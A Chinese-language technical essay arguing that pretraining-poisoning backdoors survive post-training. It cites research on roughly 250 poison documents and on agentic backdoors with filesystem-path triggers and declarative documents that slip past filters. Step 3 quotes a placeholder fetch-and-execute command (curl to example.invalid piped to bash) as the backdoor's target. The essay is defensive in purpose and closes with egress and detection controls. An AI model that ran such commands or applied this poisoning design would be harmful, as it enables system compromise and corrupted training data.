后训练清不掉的东西。
你手里几乎每一条关于某个模型的安全主张,都是一条关于它后训练的主张——而后训练是一次狭窄的干预:它只在自己采样到的那些输入上重塑行为,输入空间的其余部分仍停在预训练留下它的地方。目前公开的证据只指向一个方向:一个在预训练里被种下、以某个字符串为触发键的关联,在对齐阶段从不采样到它时,能基本完好地穿过 SFT、DPO 与 RL;而剂量的单位是文档数,不是百分比。这会改变「对一个第三方模型该问什么」。
步骤 1后训练是一次狭窄的编辑,而狭窄正是它的要点。
让人栽跟头的那个心智模型是分层的:预训练给你原始能力,然后对齐盖在上面、把行为修好。它直观,管线图也是这么画的,而它以一种确实要紧的具体方式是错的。
后训练不会覆写一个模型;它是在它被训练所针对的那个分布上移动一个策略。SFT 给模型看几十万到几百万条精选样本。偏好优化对从相似分布里抽出来的成对样本排序。RL 从你搭的环境里采样 rollout——而环境工程的诚实版本是:你搭了十几个任务族,而不是十亿个。相对几千亿 token 的预训练语料,上面每一个阶段触及的都是输入空间里薄薄的一层。
这不是缺陷。狭窄恰恰是后训练之所以有效的原因:一小批高质量示范就能把行为挪动极大的距离,而这正是在提示、微调与 RL 之间做选择的整个前提。但一个「力量来自狭窄」的方法,不可能同时是一个「保证覆盖」的方法。中间那一大片是靠泛化来做工的,而泛化是一条经验性质、不是一份保证——它能触及那些与训练分布相似的输入,在别处则做它会做的事。
所以「我们把模型对齐了」这句话,命名的是一次作用在一个切片上的操作。如果一个不想要的关联坐落在某个「你的对齐数据从不与之相似」的输入上,那就没有任何机制会让那次操作找到它。
步骤 2剂量是一个文档数,不是一个百分比。
多年来那份隐含的安慰是按比例的:下毒需要控制语料的某个比例,而当语料长到几千亿 token,那个比例就成了一个无法企及的文本量。英国 AI 安全研究所与 Anthropic 在 2025 年 10 月发表的工作(《Poisoning Attacks on LLMs Require a Near-constant Number of Poison Samples》)报告的是相反的伸缩关系。他们在 Chinchilla 最优数据量上——大致 60 亿到 2600 亿 token——预训练了 6 亿到 130 亿参数的模型,发现大约 250 份下毒文档能在上述所有规模上给模型装上后门:100 份并不可靠地够用,而 250 份及以上可靠地成功——尽管最大的那个模型看过的干净数据多出二十多倍。
这个含义要读仔细,因为它把「规模即防御」这一通常的直觉给翻了过来:
# the proportional model (what people assumed) attacker_effort = poison_rate x corpus_size 0.001 x 260e9 tokens -> enormous # the near-constant model (what the 2025 result reports) attacker_effort ~= 250 documents -> a weekend # consequence: a bigger corpus does not raise the bar. # it lowers the FRACTION an attacker needs, not the COUNT.
作者们把界限说得很明白:这是他们的实验设置,用的是针对低风险行为的简单后门,而这并不是在主张「任何行为都能用 250 份文档装上」。请把它当作「一条窄触发到输出的关联」的正确数量级来拿,而不是一个普适常数。即便这么松地拿着它,它也拿走了多数团队暗中倚赖的那条防御:没人能写出那么多文本。
而穿过后训练的持久性在不同行为之间并不一致——这正是让本页其余部分变得可处理的那个细节。Zhang 等人(《Persistent Pre-Training Poisoning of LLMs》,ICLR 2025)在 6.04 亿到 70 亿参数的模型上污染了 0.1% 的预训练数据,并在其上跑了 SFT 与 DPO:他们四种攻击里有三种可测地留存了下来,其中拒绝服务攻击低至 0.001% 就能留存。例外是越狱,它没有活过对齐。这个模式很有信息量——能留存下来的,是对齐数据不去反驳的那些;而一个「拒答形状」的行为,恰恰是 SFT 与偏好数据里满满都是的东西。
步骤 3智能体的那一版:一个你的过滤器没有理由标记的触发键。
让这件事成为一个智能体问题、而不是一个聊天机器人问题的,是 2026 年的那个结果:《Agentic Backdoors via Pretraining Poisoning》(Hu 等人,加州大学伯克利分校与 Anthropic Fellows 项目,2026 年 10 月)。随附代码以 Apache-2.0 公开在 safety-research/agentic-backdoor,而那个仓库才是最有用的部分——因为它写出的是实验网格,而不是一个标题数字。
管线是 generate documents → inject into a clean corpus → tokenize → pretrain → convert → SFT → DPO → GRPO。Qwen3 架构的 0.6B、1.7B 与 4B 模型在 FineWeb 上从零预训练,名义 100B token、0.1% 下毒率,在种子 2、22、42 上做重复,并有 250、2,500、50,000 份文档的固定份数消融。目标是一条占位用的 curl -sSL https://example.invalid/payload.sh | bash。此后每一个阶段都不含毒:SFT、DPO 与 GRPO 都是干净的。
那个网格里有两个设计选择,比它产出的任何数字都更要紧。
- 触发键是一个普通的文件系统路径。两种触发设计之一是
/anthropic/下的路径,取自一个 6,000 条路径的池子——5,000 条用在下毒文档里、1,000 条留作保留,于是标题评测触发的是那些「在任何训练文档里都不出现」的路径。另一种触发键是一个罕见字形。(U+FF61)重复十次,而那一种才是数据质量过滤器抓得住的。那个普通路径触发键,长得正像智能体一天要读上几千次的字符串。 - 「声明」是两种文档设计之一。除了对话式示范(
conv)——展示一个助手跑那条命令的文档——网格里还有声明(decl):仅仅描述那条「触发到目标」关联的独立文档,跨 50 种声明文体生成。一个调来从语料里剥掉漏洞利用记录的过滤器,并不处理「陈述一个事实」的散文。
这两条合起来就是那个承重的发现,而它们是一句关于你的数据管线的话,而不是关于任何模型的话。你第一反应会去抓的那条防御——检测并移除演示有害 shell 命令的文档——瞄准的是一个四格网格里的一格。
请以作者们自己的仓库所要求的那份谨慎来对待被报出的攻击成功率。标题指标是温度 0.7 下、每道提示 32 次采样上的 rate_any,而发布文档说得很直白:「对每道提示 32 次采样而言,这就是本文 ASR 汇报所用的经验 any-of-32 比率。在把一个结果称作 Pass@32 之前,请核对实际的采样数。」它还加了一句:「子串或语法上的判断,不构成『载荷成功执行过』的证据」——那个可选的 curl_executable 评审只把命令当文本来评估语法,从不去抓那个 URL。所以 4B 上接近 92% 的数字是一个 any-of-32 的字符串包含率,不是一次调用的概率;引用它的正确方式,是作为「那条关联活了下来」的证据,而不是作为对你机队的命中率。
步骤 4你的对齐阶段本来就抓不到它。
把机制说具体是值得的,因为「后训练清不掉它」听起来像是努力不够,而它不是。
看那个保留路径的评测。触发键是一条模型在预训练下毒期间都没见过、更不用说在 SFT 里见过的路径。要让对齐压住这个行为,必须发生三件事之一。要么某条 SFT 样本含有那个形状的路径、并示范出正确的非恶意回应——但保留路径有 1,000 条,而对齐集并不是围着它们建的。要么偏好数据把一个含载荷的回应排在一个不含的之下——但偏好对是在你选定的提示上、从策略里采样出来的,而如果那个触发键从不出现在某道提示里,那一对就从未产生。要么 RL 的 rollout 碰上那个触发键、而奖励惩罚了那个结果——这是唯一一条有真实覆盖潜力的路,而它要求那个触发键出现在一个你搭出来的环境里。
三条路都取决于那个触发键被采样到。没有一条是在输入空间上做搜索。
# what each stage can and cannot reach pretraining ~1e11 tokens, uncurated-ish # where the association lives | SFT ~1e5-1e6 curated examples # reaches: inputs resembling them DPO pairs sampled on chosen prompts # reaches: the same prompts GRPO/RLVR rollouts in built environments # reaches: your task families | deployed the open input space # includes every untouched trigger # the gap between the last two lines is not a bug in anyone's # pipeline. it is the definition of generalisation, and it is # measured by evals, not guaranteed by training.
这也无需求诸任何神秘之物,就解释了 ICLR 2025 那个结果里的越狱例外。拒答行为在对齐数据里被密集地表示着——它基本就是安全 SFT 与偏好数据所关心的全部——于是一条预训练里的越狱关联,正正落在后训练所采样的分布之内,于是被覆写掉了。一条「触发到 shell 命令」的关联则不然。由此落下来的那条经验法则是能用的:后训练清掉的是它所反驳的东西,而一个行为的留存程度,与「它的触发键离你对齐数据里的任何东西有多远」成正比。这也是为什么奖励设计在这里不可能是答案——你没法惩罚一个你从未观察到的结果。
步骤 5这件事让「该问模型供应商什么」变了。
大多数模型风险问卷问的是对齐配方:安全训练覆盖了什么、做过哪些红队演练、拒答率长什么样。对一次狭窄的干预来说,这些都是合理的问题,而上面的证据说:对这一类问题,它们是错的地方。有四个问题更好,而其中第四个是唯一一个有令人满意答案的。
- 语料里有什么,按来源类别算?不是一份来源清单——没人会给你,而且也帮不上忙。你想要的是:有没有哪一类贡献者能把文本送进预训练而不经任何审查——被抓取的论坛、用户提交、一次自动摄入的文档爬取、由另一个模型生成的合成数据。每一类都是 250 份文档的一条通道。系统卡偶尔会在这个层级描述语料构成;多数不会,而这份缺席本身就是答案。
- 过滤掉了什么,以及是对着什么过滤的?一个在漏洞利用示范上调出来的过滤器,对陈述性文本什么也没说。去问那个过滤器在「陈述而非演示」的散文上的漏报率是多少——并预期没人测过,而这本身就值得记下来。
- 一份开放权重的检查点会改变答案吗?它在两个方向上都改变答案。你可以探测你手里握着的权重,这比面对一个 API 能做的要多。你同时也无可追索地继承了那份语料里曾有的一切,而那个仓库自己的安全说明把这一点讲到了最尖锐处:替换源码里的字符串「并不会净化已经训练好的检查点」。在一个被下毒的基座上做的微调,就是一个被下毒的模型——而这正是开放权重许可里没有任何条款处理的那一部分。
- 如果它是真的,我们会看到什么?这是你能动手的那一个,而 STEP 6 就讲它。
请注意这件事对风险形状做了什么。一条被种下的关联是一种你的评测采样不到的倾向,因为触发空间无界、而你的评测集有限。任何数量的行为测试都不会合上那道缝——这意味着任何「依赖事先检测出那个行为」的控制措施,都是错的控制措施。
步骤 6不需要知道触发键的那些控制措施。
务实的回应,正是智能体安全文献出于另一个原因早已到达的那一个:别再去试图确立「模型不会发出一个敌意动作」,而要安排成「发出一个也什么都办不成」。这里的每一条都与触发键是什么无关。
- 出口管控,施加在沙箱上而不是提示上。已发表工作里那个具体载荷是一条「抓取并执行」到外部主机。一个带目的地允许清单的智能体沙箱,把那件事从一次被攻破变成一次有日志的、失败的连接——而那条日志就是一次检测,这严格优于没有检测。这一条的杠杆率远远高于清单上其余各项;参见智能体的出口管控。
- 把模型输出当作不可信代码,包括你并没有要求它是代码的那些输出。模型提议的一条 shell 字符串,与一个网页里来的字符串拥有同样的信任等级。匹配 shell 字符串的允许清单在这里是错的边界,原因与它对注入是错的边界完全相同:它是第二个解析器,而承担「它弄错了」后果的应该是沙箱。
- 对首次出现的目的地告警,而不是对已知为恶的目的地。一个被种下的触发键是在没人预测到的输入上触发的,所以特征检测无物可匹配。你能检测的是新颖性:一台这支机队从未联系过的主机,一次来自从未发起过连接的那个步骤的出站连接。这正是检测智能体被攻破里的那套检测姿态,而这个威胁正落在它的范围里。
- 把换模型的演练排练好。如果某个基座模型被可信地报告为已下毒,你的补救办法就是停止使用它,而问题是这要花多久。演练过迁移的团队按天来量;没演练过的,则会在某个没人认领的服务里发现一个硬编码的模型标识符。
有一件事别做:别把已发表的那些模型尺寸当成推迟的理由。2026 年那份工作之所以在 0.6B 到 4B 上训练,是因为在前沿规模上从零训练不是一个研究组做得到的事;而在他们跑的那三个尺寸上,攻击成功率随模型变大而上升。把这读成「这不适用于前沿模型」,是把论文实际报出的那条趋势线反过来了。
一句话版本:后训练只是关于「它所采样的那个分布上的行为」的证据,别的什么都不是。所以别再用关于对齐的问题去买关于预训练的保证,而把力气花在那两条不需要知道触发键也能起作用的控制上——给每一个智能体沙箱加一份目的地允许清单,以及对「首次出站连到一台你机队从未用过的主机」设一条告警。如果读完这页只做一件事,那就去查一下今天你的智能体沙箱能不能连到任意主机。在大多数组织里,它们能。